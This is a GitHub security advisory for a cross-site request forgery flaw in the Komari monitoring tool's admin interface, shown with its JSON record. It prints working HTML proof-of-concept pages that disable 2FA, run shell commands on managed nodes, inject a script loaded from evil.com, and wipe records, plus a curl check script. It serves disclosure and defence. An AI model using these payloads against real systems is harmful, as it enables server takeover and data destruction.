GHSA-HXJG-93WC-H8P8
Vulnerability from github – Published: 2026-09-09 23:48 – Updated: 2026-09-09 23:48
VLAI
Summary
Komari: Management Interface CSRF
Details
Vulnerability Overview
The session_token cookie is set without the SameSite or Secure attributes (login.go:68).
All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.
The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.
Root Cause
// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
// Secure=false, SameSite not explicitly set
// Admin route group (server.go:213-343) has no CSRF middleware
Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.
Browser Limitations
- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to
SameSite=Lax. - Cookies without an explicit
SameSiteattribute are not included in cross-site POST requests. - As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.
| Scenario | Exploitable |
|---|---|
| Cross-site HTML (modern browsers) | ✗ Blocked by SameSite=Lax |
| Cross-site HTML (Chrome <80 / legacy browsers) | ✓ |
| Same-origin context (Browser Console / existing XSS) | ✓ |
Man-in-the-middle over HTTP (Secure=false) |
✓ |
High-Impact Operations Reachable via CSRF
| Endpoint | Method | Impact |
|---|---|---|
/api/admin/task/exec |
POST | Execute arbitrary shell commands on managed nodes |
/api/admin/2fa/disable |
POST | Disable administrator two-factor authentication |
/api/admin/settings/ |
POST | Modify system configuration |
/api/admin/upload/backup |
POST | Upload a malicious backup |
/api/admin/record/clear/all |
POST | Delete all monitoring records |
/api/admin/client/:uuid/edit |
POST | Modify client configuration |
/api/admin/client/:uuid/remove |
POST | Remove managed clients |
/api/admin/session/remove/all |
POST | Invalidate all active sessions |
/api/admin/settings/cloudflared/start |
POST | Start a Cloudflared tunnel |
PoC 1 — Disable 2FA
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/2fa/disable"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
PoC 2 — Remote Command Execution
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD = "id && hostname && whoami";
fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
.then(function(r){ return r.json(); })
.then(function(data){
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].uuid) uuids.push(nodes[i].uuid);
}
if (uuids.length === 0) return;
return fetch(KOMARI + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command: CMD, clients: uuids })
});
});
</script>
</body>
</html>
PoC 3 — Modify System Configuration
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"site_name": "Pwned",
"custom_head": "<script src='https://evil.com/hook.js'><\/script>"
})
});
</script>
</body>
</html>
PoC 4 — Clear All Monitoring Records
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/record/clear/all"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
Verification Script
#!/bin/bash
KOMARI="${1:-https://komari.example.com}"
echo "=== CSRF Verification ==="
echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
-X POST "$KOMARI/api/public/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}' | grep -i 'set-cookie'
echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
-H "Origin: https://evil.com" \
"$KOMARI/api/public/config" | grep -i 'access-control'
echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$KOMARI/api/admin/settings/" \
-H "Content-Type: application/json" \
-H "Origin: https://evil.com" \
-d '{}')
echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
Severity
8.8 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/komari-monitor/komari"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260609084633-98122fa4d110"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T23:48:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Vulnerability Overview\n\nThe `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`).\n\nAll `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**.\n\n**The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.**\n\n## Root Cause\n\n```go\n// komari-main/api/public/login.go:68\nc.SetCookie(\"session_token\", session, 2592000, \"/\", \"\", false, true)\n// Secure=false, SameSite not explicitly set\n// Admin route group (server.go:213-343) has no CSRF middleware\n```\n\nGin\u0027s `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight.\n\n## Browser Limitations\n\n- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`.\n- Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**.\n- As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**.\n\n| Scenario | Exploitable |\n|----------|-------------|\n| Cross-site HTML (modern browsers) | \u2717 Blocked by `SameSite=Lax` |\n| Cross-site HTML (Chrome \u003c80 / legacy browsers) | \u2713 |\n| Same-origin context (Browser Console / existing XSS) | \u2713 |\n| Man-in-the-middle over HTTP (`Secure=false`) | \u2713 |\n\n## High-Impact Operations Reachable via CSRF\n\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| `/api/admin/task/exec` | POST | Execute arbitrary shell commands on managed nodes |\n| `/api/admin/2fa/disable` | POST | Disable administrator two-factor authentication |\n| `/api/admin/settings/` | POST | Modify system configuration |\n| `/api/admin/upload/backup` | POST | Upload a malicious backup |\n| `/api/admin/record/clear/all` | POST | Delete all monitoring records |\n| `/api/admin/client/:uuid/edit` | POST | Modify client configuration |\n| `/api/admin/client/:uuid/remove` | POST | Remove managed clients |\n| `/api/admin/session/remove/all` | POST | Invalidate all active sessions |\n| `/api/admin/settings/cloudflared/start` | POST | Start a Cloudflared tunnel |\n\n## PoC 1 \u2014 Disable 2FA\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ciframe name=\"sink\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"f\" method=\"POST\"\n action=\"https://komari.example.com/api/admin/2fa/disable\"\n target=\"sink\"\u003e\u003c/form\u003e\n\u003cscript\u003e\n document.getElementById(\u0027f\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 2 \u2014 Remote Command Execution\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nvar KOMARI = \"https://komari.example.com\";\nvar CMD = \"id \u0026\u0026 hostname \u0026\u0026 whoami\";\n\nfetch(KOMARI + \"/api/admin/client/list\", { credentials: \"include\" })\n .then(function(r){ return r.json(); })\n .then(function(data){\n var nodes = data.data || [];\n var uuids = [];\n for (var i = 0; i \u003c nodes.length; i++) {\n if (nodes[i].uuid) uuids.push(nodes[i].uuid);\n }\n if (uuids.length === 0) return;\n return fetch(KOMARI + \"/api/admin/task/exec\", {\n method: \"POST\",\n credentials: \"include\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({ command: CMD, clients: uuids })\n });\n });\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 3 \u2014 Modify System Configuration\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nvar KOMARI = \"https://komari.example.com\";\nfetch(KOMARI + \"/api/admin/settings/\", {\n method: \"POST\",\n credentials: \"include\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n \"site_name\": \"Pwned\",\n \"custom_head\": \"\u003cscript src=\u0027https://evil.com/hook.js\u0027\u003e\u003c\\/script\u003e\"\n })\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 4 \u2014 Clear All Monitoring Records\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ciframe name=\"sink\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"f\" method=\"POST\"\n action=\"https://komari.example.com/api/admin/record/clear/all\"\n target=\"sink\"\u003e\u003c/form\u003e\n\u003cscript\u003e\ndocument.getElementById(\u0027f\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## Verification Script\n\n```bash\n#!/bin/bash\nKOMARI=\"${1:-https://komari.example.com}\"\n\necho \"=== CSRF Verification ===\"\n\necho \"[1] Cookie Attributes...\"\ncurl -s -D - -o /dev/null \\\n -X POST \"$KOMARI/api/public/login\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"test\",\"password\":\"test\"}\u0027 | grep -i \u0027set-cookie\u0027\n\necho \"\"\necho \"[2] CORS Headers...\"\ncurl -s -D - -o /dev/null \\\n -H \"Origin: https://evil.com\" \\\n \"$KOMARI/api/public/config\" | grep -i \u0027access-control\u0027\n\necho \"\"\necho \"[3] CSRF Protection on Admin Endpoint...\"\nCODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X POST \"$KOMARI/api/admin/settings/\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: https://evil.com\" \\\n -d \u0027{}\u0027)\n\necho \" HTTP ${CODE} \u2014 A 401 response indicates that only session authentication is enforced and no CSRF protection is present.\"\n```",
"id": "GHSA-hxjg-93wc-h8p8",
"modified": "2026-09-09T23:48:31Z",
"published": "2026-09-09T23:48:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/komari-monitor/komari/security/advisories/GHSA-hxjg-93wc-h8p8"
},
{
"type": "PACKAGE",
"url": "https://github.com/komari-monitor/komari"
},
{
"type": "WEB",
"url": "https://github.com/komari-monitor/komari/releases/tag/1.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Komari: Management Interface CSRF"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…